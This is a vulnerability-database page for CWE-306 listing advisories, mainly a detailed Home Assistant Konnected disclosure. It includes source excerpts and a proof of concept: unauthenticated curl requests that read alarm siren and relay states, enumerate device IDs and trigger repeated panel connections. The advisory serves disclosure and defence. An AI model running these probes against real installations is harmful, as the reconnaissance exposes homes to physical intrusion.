Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3437 vulnerabilities reference this CWE, most recent first.

GHSA-X7R6-HGXQ-528P

Vulnerability from github – Published: 2023-07-06 03:30 – Updated: 2024-04-04 05:24
VLAI
Details

Missing authentication vulnerability in Galaxy Themes Service prior to SMR Jul-2023 Release 1 allows local attackers to delete arbitrary non-preloaded applications.

Severity
7.7 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-30643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-06T03:15:09Z",
    "severity": "HIGH"
  },
  "details": "Missing authentication vulnerability in Galaxy Themes Service prior to SMR Jul-2023 Release 1 allows local attackers to delete arbitrary non-preloaded applications.",
  "id": "GHSA-x7r6-hgxq-528p",
  "modified": "2024-04-04T05:24:29Z",
  "published": "2023-07-06T03:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30643"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2023\u0026month=07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X7X8-W7FJ-6XXC

Vulnerability from github – Published: 2024-08-27 06:30 – Updated: 2024-08-27 06:30
VLAI
Details

Authentication Bypass vulnerability in Hitachi Ops Center Common Services.This issue affects Hitachi Ops Center Common Services: from 10.9.3-00 before 11.0.2-01.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-7125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-27T05:15:13Z",
    "severity": "HIGH"
  },
  "details": "Authentication Bypass vulnerability in Hitachi Ops Center Common Services.This issue affects Hitachi Ops Center Common Services: from 10.9.3-00 before 11.0.2-01.",
  "id": "GHSA-x7x8-w7fj-6xxc",
  "modified": "2024-08-27T06:30:32Z",
  "published": "2024-08-27T06:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7125"
    },
    {
      "type": "WEB",
      "url": "https://www.hitachi.com/products/it/software/security/info/vuls/hitachi-sec-2024-143/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X84V-G949-293W

Vulnerability from github – Published: 2026-06-19 19:35 – Updated: 2026-06-19 19:35
VLAI
Summary
Home Assistant: Konnected alarm-panel switch state and zone topology disclosed to unauthenticated actors on the LAN
Details

Summary

The Konnected integration registers an HTTP endpoint, KonnectedView (homeassistant/components/konnected/__init__.py), that is marked as not requiring authentication (requires_auth = False). A comment next to that line says auth is instead handled "via the access token from configuration."

That promise is only half true:

  • Write requests (POST and PUT) are handled by update_sensor(), which does check the request's Authorization: Bearer <token> header against the integration's stored access tokens (using hmac.compare_digest).
  • Read requests (GET) are handled by a separate get() method that has no authentication check at all.

By sending GET requests to /api/konnected/device/{device_id}?zone=N, any unauthenticated client on the LAN can:

  1. Enumerate configured Konnected device IDs — the endpoint returns a clean 404-vs-200 difference that acts as an oracle for which devices exist.
  2. Read switch output states — the on/off state of every switch output (siren, strobe, and relay outputs of the alarm panel).
  3. Read the panel's zone topology — how the alarm panel's zones are configured.
  4. Trigger panel connections — each unauthenticated GET forces one outbound panel.async_connect() call to the Konnected hardware on the LAN.

The same URL that correctly rejects unauthenticated POST and PUT requests silently serves unauthenticated GET requests, leaking alarm-panel state and device topology to anyone who can reach Home Assistant's HTTP port (8123 on the LAN by default).

Details

This is the threat-model boundary "unauth to auth" the upstream security policy treats as fileable. The same boundary produced CVE-2026-34205 (Unauthenticated app endpoints exposed to local network via host network mode, CVSS 9.7 CRITICAL, March 2026) and CVE-2023-50715 (User accounts disclosed to unauthenticated actors on the LAN, CVSS 4.2 MODERATE, December 2023). The Konnected gap is structurally identical: a HomeAssistantView with requires_auth = False that returns information about configured devices to anyone who can reach the HTTP port.

Confirmed end-to-end against ghcr.io/home-assistant/home-assistant:2026.5.2. The Proof of Concept section below has seven captures. Step 1 cites the three load-bearing source ranges (view registration, the auth check that only POST/PUT use, the GET handler that omits it). Step 2 is the control: POST and PUT on the same URL return 401 unauthorized without a Bearer token, proving the integration does have an auth check, just only on the write methods. Step 3 is the bug: GET on the same URL with no Authorization header returns 200 {"zone":"5","state":1} for the siren-output zone, equivalent payload for the strobe and relay-output zones. Step 4 exercises the enumeration oracle: unknown device_id returns a 404 with a distinct message from a known device_id with an unknown zone, which a brute-forcer uses to map the device-ID and zone space. Step 5 captures the connection-amplification side effect by firing 10 unauthenticated GETs and observing 10 panel.async_connect() invocations on the panel side. Step 6 shows that a deliberately wrong Authorization header produces the same response as no header at all, confirming the auth header is not consulted on GET. Step 7 captures the HA startup log line that registers KonnectedView.

Threat model

Home Assistant's HTTP server binds to the LAN at port 8123 by default. A Konnected alarm panel is a wired smart-home hardware product whose primary use case is alarm and security: zones 1-6 typically read door/window/glass-break sensors, switches 5-8 drive siren, strobe, and relay outputs that control the alarm itself or external systems such as garage-door openers, entry chimes, or armed-disable interlocks. The state an attacker reads through this bug is precisely the live status of those outputs and inputs.

The attacker model upstream policy explicitly treats as in-scope is the LAN-adjacent unauthenticated client: a guest who joined the wifi, a neighbor on shared coffee-shop wifi, a malicious device that reached the LAN via a separately compromised IoT product, an attacker who landed via a flat office network, or an attacker who pivoted from a VPN endpoint. None of these positions grant an access token. All of them grant the network reachability the bug requires.

The same endpoint is the receiver for legitimate push updates from the Konnected hardware, which is why requires_auth = False exists in the first place. The intent was to enforce a shared access token on the body. That intent is present in update_sensor() and absent in get().

Impact

  • Alarm-system reconnaissance enabling physical intrusion. A 200 {"zone":"5","state":1} response on the siren zone tells an attacker the siren is firing right now, which means a burglary is in progress and the operator may be away or distracted. A state:0 on the same zone says the panel is quiet. The same applies to strobes, armed-disable relays, and any switch the operator wired through Konnected. This is the intelligence a physical attacker explicitly seeks before entering a property.
  • Topology disclosure. Probing zones 1 through 12 across a known device_id maps the alarm panel: which zones are sensors, which are switches, which switches are configured for which output. Combined with manufacturer documentation, the topology tells an attacker which physical control points to bypass.
  • Device ID brute force. The 404 "Device not configured" oracle on unknown IDs versus 404 "Switch on zone or pin not configured" on known IDs with unknown zones, versus 200 with state on full hits, is a clean four-state oracle. Konnected hardware derives device_id from its NIC MAC address; production hardware ships with a small set of manufacturer OUI prefixes. The brute force space is on the order of 2^24, trivially scannable from any LAN host with no rate limit.
  • Outbound connection amplification. Line 397 of __init__.py fires hass.async_create_task(panel.async_connect()) on every successful GET. An unauth attacker drives N outbound connect attempts toward the (typically LAN-private) Konnected hardware with N unauth GETs, no rate limit, no auth log. A 10-rps sustained scan produces a constant connect storm against the panel hardware that, depending on Konnected firmware, may interfere with legitimate push delivery or cause spurious connect/disconnect cycles visible in the operator's notification stream.
  • No auth trail. The GET handler logs nothing at INFO level. An attacker can probe this endpoint at arbitrary depth and leave no record in home-assistant.log unless DEBUG logging is enabled for the integration.

Affected code

homeassistant/components/konnected/__init__.py:296-301, the view registration. The comment on line 301 is load-bearing for the bug: it says auth happens via the configured access token, but that promise is only kept on the POST/PUT path.

class KonnectedView(HomeAssistantView):
    """View creates an endpoint to receive push updates from the device."""

    url = UPDATE_ENDPOINT  # /api/konnected/device/{device_id:[a-zA-Z0-9]+}
    name = "api:konnected"
    requires_auth = False  # Uses access token from configuration

homeassistant/components/konnected/__init__.py:313-335, the auth check that lives inside update_sensor(). POST and PUT call this; GET does not.

async def update_sensor(self, request: Request, device_id) -> Response:
    """Process a put or post."""
    hass = request.app[KEY_HASS]
    data = hass.data[DOMAIN]

    auth = request.headers.get(AUTHORIZATION)
    tokens = []
    if hass.data[DOMAIN].get(CONF_ACCESS_TOKEN):
        tokens.extend([hass.data[DOMAIN][CONF_ACCESS_TOKEN]])
    tokens.extend(
        [
            entry.data[CONF_ACCESS_TOKEN]
            for entry in hass.config_entries.async_entries(DOMAIN)
            if entry.data.get(CONF_ACCESS_TOKEN)
        ]
    )
    if auth is None or not next(
        (True for token in tokens if hmac.compare_digest(f"Bearer {token}", auth)),
        False,
    ):
        return self.json_message(
            "unauthorized", status_code=HTTPStatus.UNAUTHORIZED
        )

homeassistant/components/konnected/__init__.py:385-438, the GET handler with no authentication. Note line 397 firing panel.async_connect() before any reachable auth check and before any rate-limit logic.

async def get(self, request: Request, device_id) -> Response:
    """Return the current binary state of a switch."""
    hass = request.app[KEY_HASS]
    data = hass.data[DOMAIN]

    if not (device := data[CONF_DEVICES].get(device_id)):
        return self.json_message(
            f"Device {device_id} not configured", status_code=HTTPStatus.NOT_FOUND
        )

    if (panel := device.get("panel")) is not None:
        # connect if we haven't already
        hass.async_create_task(panel.async_connect())

    # Our data model is based on zone ids but we convert from/to pin ids
    # based on whether they are specified in the request
    try:
        zone_num = str(
            request.query.get(CONF_ZONE) or PIN_TO_ZONE[request.query[CONF_PIN]]
        )
        zone = next(
            switch
            for switch in device[CONF_SWITCHES]
            if switch[CONF_ZONE] == zone_num
        )

    except StopIteration:
        zone = None
    except KeyError:
        zone = None
        zone_num = None

    if not zone:
        target = request.query.get(
            CONF_ZONE, request.query.get(CONF_PIN, "unknown")
        )
        return self.json_message(
            f"Switch on zone or pin {target} not configured",
            status_code=HTTPStatus.NOT_FOUND,
        )

    resp = {}
    if request.query.get(CONF_ZONE):
        resp[CONF_ZONE] = zone_num
    elif zone_num:
        resp[CONF_PIN] = ZONE_TO_PIN[zone_num]

    # Make sure entity is setup
    if zone_entity_id := zone.get(ATTR_ENTITY_ID):
        resp["state"] = self.binary_value(
            hass.states.get(zone_entity_id).state,
            zone[CONF_ACTIVATION],
        )
        return self.json(resp)

The four-state response oracle that powers the brute force:

Probe Response Status
Unknown device_id {"message":"Device <id> not configured"} 404
Known device_id, no zone or pin parameter {"message":"Switch on zone or pin unknown not configured"} 404
Known device_id, unknown zone {"message":"Switch on zone or pin <n> not configured"} 404
Known device_id, known zone {"zone":"<n>","state":0\|1} 200

homeassistant/components/konnected/const.py:45, the URL pattern:

ENDPOINT_ROOT = "/api/konnected"
UPDATE_ENDPOINT = ENDPOINT_ROOT + r"/device/{device_id:[a-zA-Z0-9]+}"

Proof of concept

Reproduction environment is a single Docker container of Home Assistant Core 2026.5.2 with a small custom_components/konnected_poc/ shim that primes hass.data[konnected] with a representative alarm-panel layout and registers the same KonnectedView class through hass.http.register_view. The shim does not change the bug surface; it is the same class the upstream integration registers at line 248. All seven evidence captures below come from one live run against the container.

Environment

host: Darwin 25.2.0 arm64
docker: Docker version 29.4.3, build 055a478ea9
ha image: ghcr.io/home-assistant/home-assistant:2026.5.2

konnected source SHA-256 (the file containing the bug):
33e1e56b8fe0c28aa2aee060e214a501c813655297b33272e83c2f2d51adc3b6  /usr/src/homeassistant/homeassistant/components/konnected/__init__.py

konnected_poc shim startup log:
2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnected_poc
2026-05-18 15:23:50.850 INFO (MainThread) [custom_components.konnected_poc] konnected_poc: registered KonnectedView and primed device aabbccdd1122
2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnected_poc took 0.00 seconds

Step 1: cite the three load-bearing source ranges inside the running container

$ docker exec ha-konnected-poc sh -c '
    pkg=$(python -c "import homeassistant.components.konnected as m; import os; print(os.path.dirname(m.__file__))")
    sed -n "296,305p" "$pkg/__init__.py"
    sed -n "313,336p" "$pkg/__init__.py"
    sed -n "385,438p" "$pkg/__init__.py"
'

--- view registration, requires_auth = False (line 301) ---
class KonnectedView(HomeAssistantView):
    """View creates an endpoint to receive push updates from the device."""

    url = UPDATE_ENDPOINT
    name = "api:konnected"
    requires_auth = False  # Uses access token from configuration

--- update_sensor() enforces Bearer-token auth via hmac.compare_digest ---
    async def update_sensor(self, request: Request, device_id) -> Response:
        """Process a put or post."""
        hass = request.app[KEY_HASS]
        data = hass.data[DOMAIN]

        auth = request.headers.get(AUTHORIZATION)
        tokens = []
        if hass.data[DOMAIN].get(CONF_ACCESS_TOKEN):
            tokens.extend([hass.data[DOMAIN][CONF_ACCESS_TOKEN]])
        tokens.extend(
            [
                entry.data[CONF_ACCESS_TOKEN]
                for entry in hass.config_entries.async_entries(DOMAIN)
                if entry.data.get(CONF_ACCESS_TOKEN)
            ]
        )
        if auth is None or not next(
            (True for token in tokens if hmac.compare_digest(f"Bearer {token}", auth)),
            False,
        ):
            return self.json_message(
                "unauthorized", status_code=HTTPStatus.UNAUTHORIZED
            )

--- get() handler, no auth check anywhere in the body ---
    async def get(self, request: Request, device_id) -> Response:
        """Return the current binary state of a switch."""
        hass = request.app[KEY_HASS]
        data = hass.data[DOMAIN]

        if not (device := data[CONF_DEVICES].get(device_id)):
            return self.json_message(
                f"Device {device_id} not configured", status_code=HTTPStatus.NOT_FOUND
            )

        if (panel := device.get("panel")) is not None:
            # connect if we haven't already
            hass.async_create_task(panel.async_connect())
        ...
        return self.json(resp)

Step 2: control. POST and PUT on the same URL return 401 without a Bearer token

The integration does enforce a Bearer-token check; the policy is just only applied to the write methods.

$ curl -sS -i -X POST -H "Content-Type: application/json" \
    -d '{"zone":"5","state":"1"}' \
    http://127.0.0.1:8123/api/konnected/device/aabbccdd1122

HTTP/1.1 401 Unauthorized
Content-Type: application/json
Content-Length: 26

{"message":"unauthorized"}

$ curl -sS -i -X PUT -H "Content-Type: application/json" \
    -d '{"zone":"5","state":"1"}' \
    http://127.0.0.1:8123/api/konnected/device/aabbccdd1122

HTTP/1.1 401 Unauthorized
Content-Type: application/json
Content-Length: 26

{"message":"unauthorized"}

Step 3: the bug. GET returns alarm-panel switch state with no Authorization header

Three zones queried unauthenticated. Each returns the live binary state of a switch output on the configured Konnected alarm panel.

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 22

{"zone":"5","state":1}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=6"

HTTP/1.1 200 OK
Content-Length: 22

{"zone":"6","state":1}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=7"

HTTP/1.1 200 OK
Content-Length: 22

{"zone":"7","state":1}

Zone 5 is the siren output of the panel in this configuration. Zone 6 is the strobe. Zone 7 is the relay output wired to the garage arm-disable circuit. The unauthenticated attacker learns each output is currently active.

Step 4: enumeration oracle. Three distinct response shapes power the brute force

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/ffffffffffff?zone=5"

HTTP/1.1 404 Not Found
Content-Length: 48

{"message":"Device ffffffffffff not configured"}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=99"

HTTP/1.1 404 Not Found
Content-Length: 53

{"message":"Switch on zone or pin 99 not configured"}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"

HTTP/1.1 200 OK
Content-Length: 22

{"zone":"5","state":1}

An attacker sweeping the device_id space sees the Device <id> not configured message until a real device matches, at which point the Switch on zone or pin <n> not configured message starts appearing. Then a 12-iteration zone sweep maps the panel's full output topology.

Step 5: connection amplification. N unauth GETs drive N outbound panel.async_connect() calls

10 unauthenticated GET requests at line rate. The panel.async_connect() invocations logged by the panel-side stub confirm line 397 of __init__.py fires unconditionally on every successful GET, before any reachable rate-limit logic and before any reachable auth check.

$ for i in $(seq 1 10); do
    curl -sS -o /dev/null -w "GET #%{http_code}\n" \
      "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"
  done

GET #200
GET #200
GET #200
GET #200
GET #200
GET #200
GET #200
GET #200
GET #200
GET #200

$ docker logs ha-konnected-poc 2>&1 | grep "async_connect() invoked"

2026-05-18 15:23:55.893 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #1). In production this is an outbound HTTPS call to the configured Konnected hardware.
2026-05-18 15:23:55.900 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #2). ...
2026-05-18 15:23:55.907 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #3). ...
2026-05-18 15:23:55.921 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #4). ...
2026-05-18 15:23:55.928 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #5). ...
2026-05-18 15:23:55.937 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #6). ...
2026-05-18 15:23:55.944 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #7). ...
2026-05-18 15:23:55.951 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #8). ...
2026-05-18 15:23:55.957 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #9). ...
2026-05-18 15:23:55.964 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #10). ...

A sustained scan trivially fills the operator's panel side with retry storms. In production the call is an outbound HTTPS connection to the Konnected hardware on the LAN.

Step 6: the Authorization header is ignored on GET

Identical responses with no header, a deliberately wrong header, and no header again. This rules out any caching artifact and confirms get() never reads the auth state.

$ curl -sS "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"
{"zone":"5","state":1}

$ curl -sS -H "Authorization: Bearer this-token-is-completely-wrong" \
    "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"
{"zone":"5","state":1}

$ curl -sS "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"
{"zone":"5","state":1}

The wrong-Authorization case is the load-bearing one. If the GET handler ever consulted the header, it would either accept it (no, because the token is wrong) or reject it (no, because the response is 200 with state). The handler never reads request.headers["Authorization"].

Step 7: startup log confirms the view is registered and the integration is loaded

2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setting up konnected
2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setup of domain konnected took 0.00 seconds
2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnected_poc
2026-05-18 15:23:50.850 INFO (MainThread) [custom_components.konnected_poc] konnected_poc: registered KonnectedView and primed device aabbccdd1122
2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnected_poc took 0.00 seconds

The konnected integration shipped in core 2026.5.2 is loaded normally. The konnected_poc shim runs after it, registering the same KonnectedView class through hass.http.register_view and seeding hass.data[konnected][devices] with a representative alarm-panel configuration. The bug surface is the same KonnectedView class the upstream integration registers at __init__.py:248 on every production install.

Workaround

Migrate to the EspHome integration, as suggested in the existing repair issue for the Konnected integration.

Fix

The Konnected integration was removed in Home Assistant Core 2026.6.0. It had been deprecated for some time.

Severity
7.6 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "homeassistant"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T19:35:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Konnected integration registers an HTTP endpoint, `KonnectedView` (`homeassistant/components/konnected/__init__.py`), that is marked as **not requiring authentication** (`requires_auth = False`). A comment next to that line says auth is instead handled \"via the access token from configuration.\"\n\nThat promise is only half true:\n\n- **Write requests (POST and PUT)** are handled by `update_sensor()`, which *does* check the request\u0027s `Authorization: Bearer \u003ctoken\u003e` header against the integration\u0027s stored access tokens (using `hmac.compare_digest`).\n- **Read requests (GET)** are handled by a separate `get()` method that has **no authentication check at all.**\n\nBy sending GET requests to `/api/konnected/device/{device_id}?zone=N`, any unauthenticated client on the LAN can:\n\n1. **Enumerate configured Konnected device IDs** \u2014 the endpoint returns a clean 404-vs-200 difference that acts as an oracle for which devices exist.\n2. **Read switch output states** \u2014 the on/off state of every switch output (siren, strobe, and relay outputs of the alarm panel).\n3. **Read the panel\u0027s zone topology** \u2014 how the alarm panel\u0027s zones are configured.\n4. **Trigger panel connections** \u2014 each unauthenticated GET forces one outbound `panel.async_connect()` call to the Konnected hardware on the LAN.\n\nThe same URL that correctly rejects unauthenticated POST and PUT requests silently serves unauthenticated GET requests, leaking alarm-panel state and device topology to anyone who can reach Home Assistant\u0027s HTTP port (8123 on the LAN by default).\n\n### Details\n\nThis is the threat-model boundary \"unauth to auth\" the upstream security policy treats as fileable. The same boundary produced CVE-2026-34205 (`Unauthenticated app endpoints exposed to local network via host network mode`, CVSS 9.7 CRITICAL, March 2026) and CVE-2023-50715 (`User accounts disclosed to unauthenticated actors on the LAN`, CVSS 4.2 MODERATE, December 2023). The Konnected gap is structurally identical: a HomeAssistantView with `requires_auth = False` that returns information about configured devices to anyone who can reach the HTTP port.\n\nConfirmed end-to-end against `ghcr.io/home-assistant/home-assistant:2026.5.2`. The Proof of Concept section below has seven captures. Step 1 cites the three load-bearing source ranges (view registration, the auth check that only POST/PUT use, the GET handler that omits it). Step 2 is the control: POST and PUT on the same URL return `401 unauthorized` without a Bearer token, proving the integration does have an auth check, just only on the write methods. Step 3 is the bug: GET on the same URL with no Authorization header returns `200 {\"zone\":\"5\",\"state\":1}` for the siren-output zone, equivalent payload for the strobe and relay-output zones. Step 4 exercises the enumeration oracle: unknown `device_id` returns a 404 with a distinct message from a known `device_id` with an unknown zone, which a brute-forcer uses to map the device-ID and zone space. Step 5 captures the connection-amplification side effect by firing 10 unauthenticated GETs and observing 10 `panel.async_connect()` invocations on the panel side. Step 6 shows that a deliberately wrong `Authorization` header produces the same response as no header at all, confirming the auth header is not consulted on GET. Step 7 captures the HA startup log line that registers `KonnectedView`.\n\n### Threat model\n\nHome Assistant\u0027s HTTP server binds to the LAN at port 8123 by default. A Konnected alarm panel is a wired smart-home hardware product whose primary use case is *alarm and security*: zones 1-6 typically read door/window/glass-break sensors, switches 5-8 drive siren, strobe, and relay outputs that control the alarm itself or external systems such as garage-door openers, entry chimes, or armed-disable interlocks. The state an attacker reads through this bug is precisely the live status of those outputs and inputs.\n\nThe attacker model upstream policy explicitly treats as in-scope is the LAN-adjacent unauthenticated client: a guest who joined the wifi, a neighbor on shared coffee-shop wifi, a malicious device that reached the LAN via a separately compromised IoT product, an attacker who landed via a flat office network, or an attacker who pivoted from a VPN endpoint. None of these positions grant an access token. All of them grant the network reachability the bug requires.\n\nThe same endpoint is the receiver for legitimate push updates from the Konnected hardware, which is why `requires_auth = False` exists in the first place. The intent was to enforce a shared access token on the body. That intent is present in `update_sensor()` and absent in `get()`.\n\n### Impact\n\n- **Alarm-system reconnaissance enabling physical intrusion.** A `200 {\"zone\":\"5\",\"state\":1}` response on the siren zone tells an attacker the siren is firing right now, which means a burglary is in progress and the operator may be away or distracted. A `state:0` on the same zone says the panel is quiet. The same applies to strobes, armed-disable relays, and any switch the operator wired through Konnected. This is the intelligence a physical attacker explicitly seeks before entering a property.\n- **Topology disclosure.** Probing zones 1 through 12 across a known device_id maps the alarm panel: which zones are sensors, which are switches, which switches are configured for which output. Combined with manufacturer documentation, the topology tells an attacker which physical control points to bypass.\n- **Device ID brute force.** The 404 \"Device \u003cid\u003e not configured\" oracle on unknown IDs versus 404 \"Switch on zone or pin \u003cn\u003e not configured\" on known IDs with unknown zones, versus 200 with state on full hits, is a clean four-state oracle. Konnected hardware derives `device_id` from its NIC MAC address; production hardware ships with a small set of manufacturer OUI prefixes. The brute force space is on the order of 2^24, trivially scannable from any LAN host with no rate limit.\n- **Outbound connection amplification.** Line 397 of `__init__.py` fires `hass.async_create_task(panel.async_connect())` on every successful GET. An unauth attacker drives N outbound connect attempts toward the (typically LAN-private) Konnected hardware with N unauth GETs, no rate limit, no auth log. A 10-rps sustained scan produces a constant connect storm against the panel hardware that, depending on Konnected firmware, may interfere with legitimate push delivery or cause spurious connect/disconnect cycles visible in the operator\u0027s notification stream.\n- **No auth trail.** The GET handler logs nothing at INFO level. An attacker can probe this endpoint at arbitrary depth and leave no record in `home-assistant.log` unless DEBUG logging is enabled for the integration.\n\n### Affected code\n\n`homeassistant/components/konnected/__init__.py:296-301`, the view registration. The comment on line 301 is load-bearing for the bug: it says auth happens via the configured access token, but that promise is only kept on the POST/PUT path.\n\n```python\nclass KonnectedView(HomeAssistantView):\n    \"\"\"View creates an endpoint to receive push updates from the device.\"\"\"\n\n    url = UPDATE_ENDPOINT  # /api/konnected/device/{device_id:[a-zA-Z0-9]+}\n    name = \"api:konnected\"\n    requires_auth = False  # Uses access token from configuration\n```\n\n`homeassistant/components/konnected/__init__.py:313-335`, the auth check that lives inside `update_sensor()`. POST and PUT call this; GET does not.\n\n```python\nasync def update_sensor(self, request: Request, device_id) -\u003e Response:\n    \"\"\"Process a put or post.\"\"\"\n    hass = request.app[KEY_HASS]\n    data = hass.data[DOMAIN]\n\n    auth = request.headers.get(AUTHORIZATION)\n    tokens = []\n    if hass.data[DOMAIN].get(CONF_ACCESS_TOKEN):\n        tokens.extend([hass.data[DOMAIN][CONF_ACCESS_TOKEN]])\n    tokens.extend(\n        [\n            entry.data[CONF_ACCESS_TOKEN]\n            for entry in hass.config_entries.async_entries(DOMAIN)\n            if entry.data.get(CONF_ACCESS_TOKEN)\n        ]\n    )\n    if auth is None or not next(\n        (True for token in tokens if hmac.compare_digest(f\"Bearer {token}\", auth)),\n        False,\n    ):\n        return self.json_message(\n            \"unauthorized\", status_code=HTTPStatus.UNAUTHORIZED\n        )\n```\n\n`homeassistant/components/konnected/__init__.py:385-438`, the GET handler with no authentication. Note line 397 firing `panel.async_connect()` before any reachable auth check and before any rate-limit logic.\n\n```python\nasync def get(self, request: Request, device_id) -\u003e Response:\n    \"\"\"Return the current binary state of a switch.\"\"\"\n    hass = request.app[KEY_HASS]\n    data = hass.data[DOMAIN]\n\n    if not (device := data[CONF_DEVICES].get(device_id)):\n        return self.json_message(\n            f\"Device {device_id} not configured\", status_code=HTTPStatus.NOT_FOUND\n        )\n\n    if (panel := device.get(\"panel\")) is not None:\n        # connect if we haven\u0027t already\n        hass.async_create_task(panel.async_connect())\n\n    # Our data model is based on zone ids but we convert from/to pin ids\n    # based on whether they are specified in the request\n    try:\n        zone_num = str(\n            request.query.get(CONF_ZONE) or PIN_TO_ZONE[request.query[CONF_PIN]]\n        )\n        zone = next(\n            switch\n            for switch in device[CONF_SWITCHES]\n            if switch[CONF_ZONE] == zone_num\n        )\n\n    except StopIteration:\n        zone = None\n    except KeyError:\n        zone = None\n        zone_num = None\n\n    if not zone:\n        target = request.query.get(\n            CONF_ZONE, request.query.get(CONF_PIN, \"unknown\")\n        )\n        return self.json_message(\n            f\"Switch on zone or pin {target} not configured\",\n            status_code=HTTPStatus.NOT_FOUND,\n        )\n\n    resp = {}\n    if request.query.get(CONF_ZONE):\n        resp[CONF_ZONE] = zone_num\n    elif zone_num:\n        resp[CONF_PIN] = ZONE_TO_PIN[zone_num]\n\n    # Make sure entity is setup\n    if zone_entity_id := zone.get(ATTR_ENTITY_ID):\n        resp[\"state\"] = self.binary_value(\n            hass.states.get(zone_entity_id).state,\n            zone[CONF_ACTIVATION],\n        )\n        return self.json(resp)\n```\n\nThe four-state response oracle that powers the brute force:\n\n| Probe | Response | Status |\n|---|---|---|\n| Unknown `device_id` | `{\"message\":\"Device \u003cid\u003e not configured\"}` | 404 |\n| Known `device_id`, no `zone` or `pin` parameter | `{\"message\":\"Switch on zone or pin unknown not configured\"}` | 404 |\n| Known `device_id`, unknown `zone` | `{\"message\":\"Switch on zone or pin \u003cn\u003e not configured\"}` | 404 |\n| Known `device_id`, known `zone` | `{\"zone\":\"\u003cn\u003e\",\"state\":0\\|1}` | 200 |\n\n`homeassistant/components/konnected/const.py:45`, the URL pattern:\n\n```python\nENDPOINT_ROOT = \"/api/konnected\"\nUPDATE_ENDPOINT = ENDPOINT_ROOT + r\"/device/{device_id:[a-zA-Z0-9]+}\"\n```\n\n### Proof of concept\n\nReproduction environment is a single Docker container of Home Assistant Core 2026.5.2 with a small `custom_components/konnected_poc/` shim that primes `hass.data[konnected]` with a representative alarm-panel layout and registers the same `KonnectedView` class through `hass.http.register_view`. The shim does not change the bug surface; it is the same class the upstream integration registers at line 248. All seven evidence captures below come from one live run against the container.\n\n#### Environment\n\n```\nhost: Darwin 25.2.0 arm64\ndocker: Docker version 29.4.3, build 055a478ea9\nha image: ghcr.io/home-assistant/home-assistant:2026.5.2\n\nkonnected source SHA-256 (the file containing the bug):\n33e1e56b8fe0c28aa2aee060e214a501c813655297b33272e83c2f2d51adc3b6  /usr/src/homeassistant/homeassistant/components/konnected/__init__.py\n\nkonnected_poc shim startup log:\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnected_poc\n2026-05-18 15:23:50.850 INFO (MainThread) 